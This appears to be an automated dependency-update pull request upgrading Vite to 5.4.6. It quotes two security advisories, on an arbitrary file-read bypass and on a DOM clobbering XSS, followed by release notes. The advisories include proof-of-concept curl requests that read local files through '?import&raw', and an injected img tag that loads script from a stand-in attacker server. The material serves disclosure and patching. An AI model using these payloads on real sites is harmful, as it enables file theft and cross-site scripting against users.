The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
This PR contains the following updates:
5.4.2
->5.4.6
GitHub Vulnerability Alerts
CVE-2024-45811
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs
denies access to files outside of Vite serving allow list. Adding?import&raw
to the URL bypasses this limitation and returns the file content if it exists.PoC
CVE-2024-45812
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs
/iife
/umd
output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs
,iife
, orumd
. In such cases, Vite replaces relative paths starting with__VITE_ASSET__
using the URL retrieved fromdocument.currentScript
.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.js
script, the devloper decides to use the Vite to bundle up the program with the following configuration.After running the build command, the developer will get following bundle as the output.
Adding the Vite bundled script,
dist/index-DDmIg9VD.js
, as part of the web page source code, the page could load theextra.js
file from the attacker's domain,attacker.controlled.server
. The attacker only needs to insert animg
tag with thename
attribute set tocurrentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs
,iife
, orumd
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
Release Notes
vitejs/vite (vite)
### [`v5.4.6`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.6) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.4.5...v5.4.6) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.6/packages/vite/CHANGELOG.md) for details. ### [`v5.4.5`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.5) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.4.4...v5.4.5) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.5/packages/vite/CHANGELOG.md) for details. ### [`v5.4.4`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.4) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.4.3...v5.4.4) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.4/packages/vite/CHANGELOG.md) for details. ### [`v5.4.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small543-2024-09-03-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.4.2...v5.4.3) - fix: allow getting URL of JS files in publicDir ([#17915](https://redirect.github.com/vitejs/vite/issues/17915)) ([943ece1](https://redirect.github.com/vitejs/vite/commit/943ece177e7709b3ba574e810afce347c51d4442)), closes [#17915](https://redirect.github.com/vitejs/vite/issues/17915) - fix: cjs warning respect the logLevel flag ([#17993](https://redirect.github.com/vitejs/vite/issues/17993)) ([dc3c14f](https://redirect.github.com/vitejs/vite/commit/dc3c14f39fcd57867c8ae81b75ae768b53b4b880)), closes [#17993](https://redirect.github.com/vitejs/vite/issues/17993) - fix: improve CJS warning trace information ([#17926](https://redirect.github.com/vitejs/vite/issues/17926)) ([5c5f82c](https://redirect.github.com/vitejs/vite/commit/5c5f82c84bb64309875b42eee9d4dd525ab42e8c)), closes [#17926](https://redirect.github.com/vitejs/vite/issues/17926) - fix: only remove entry assets handled by Vite core ([#17916](https://redirect.github.com/vitejs/vite/issues/17916)) ([ebfaa7e](https://redirect.github.com/vitejs/vite/commit/ebfaa7e6019783f308db5e759a6a67abb7cc626c)), closes [#17916](https://redirect.github.com/vitejs/vite/issues/17916) - fix: waitForRequestIdle locked ([#17982](https://redirect.github.com/vitejs/vite/issues/17982)) ([ad13760](https://redirect.github.com/vitejs/vite/commit/ad1376018a94b42540a8488d897cc520849e1228)), closes [#17982](https://redirect.github.com/vitejs/vite/issues/17982) - fix(css): fix directory index import in sass modern api ([#17960](https://redirect.github.com/vitejs/vite/issues/17960)) ([9b001ba](https://redirect.github.com/vitejs/vite/commit/9b001baa70c8489ac5550107c110a5dca281cda4)), closes [#17960](https://redirect.github.com/vitejs/vite/issues/17960) - fix(css): fix sass `file://` reference ([#17909](https://redirect.github.com/vitejs/vite/issues/17909)) ([561b940](https://redirect.github.com/vitejs/vite/commit/561b940f6f963fbb78058a6e23b4adad53a2edb9)), closes [#17909](https://redirect.github.com/vitejs/vite/issues/17909) - fix(css): fix sass modern source map ([#17938](https://redirect.github.com/vitejs/vite/issues/17938)) ([d428e7e](https://redirect.github.com/vitejs/vite/commit/d428e7e3a05f8da5ea00bb1b6a0827a5cc225899)), closes [#17938](https://redirect.github.com/vitejs/vite/issues/17938) - fix(deps): bump tsconfck ([#17990](https://redirect.github.com/vitejs/vite/issues/17990)) ([8c661b2](https://redirect.github.com/vitejs/vite/commit/8c661b20e92f33eb2e3ba3841b20dd6f6076f1ef)), closes [#17990](https://redirect.github.com/vitejs/vite/issues/17990) - fix(html): rewrite assets url in ([#17988](https://redirect.github.com/vitejs/vite/issues/17988)) ([413c86a](https://redirect.github.com/vitejs/vite/commit/413c86aa971bc1ad8958578c929f45a368799f74)), closes [#17988](https://redirect.github.com/vitejs/vite/issues/17988) - fix(preload): add crossorigin attribute in CSS link tags ([#17930](https://redirect.github.com/vitejs/vite/issues/17930)) ([15871c7](https://redirect.github.com/vitejs/vite/commit/15871c75e0722adeda23f771fd6c45fecba4d118)), closes [#17930](https://redirect.github.com/vitejs/vite/issues/17930) - chore: reduce diffs with v6 branch ([#17942](https://redirect.github.com/vitejs/vite/issues/17942)) ([bf9065a](https://redirect.github.com/vitejs/vite/commit/bf9065aa13da6a519014c3bc1d34cfb1cb49ccca)), closes [#17942](https://redirect.github.com/vitejs/vite/issues/17942) - chore(deps): update all non-major dependencies ([#17945](https://redirect.github.com/vitejs/vite/issues/17945)) ([cfb621e](https://redirect.github.com/vitejs/vite/commit/cfb621e7a5a3e24d710a9af156e6855e73caf891)), closes [#17945](https://redirect.github.com/vitejs/vite/issues/17945) - chore(deps): update all non-major dependencies ([#17991](https://redirect.github.com/vitejs/vite/issues/17991)) ([0ca53cf](https://redirect.github.com/vitejs/vite/commit/0ca53cff9ff49108fcec75ff01d2445f9c2f2a4c)), closes [#17991](https://redirect.github.com/vitejs/vite/issues/17991)Configuration
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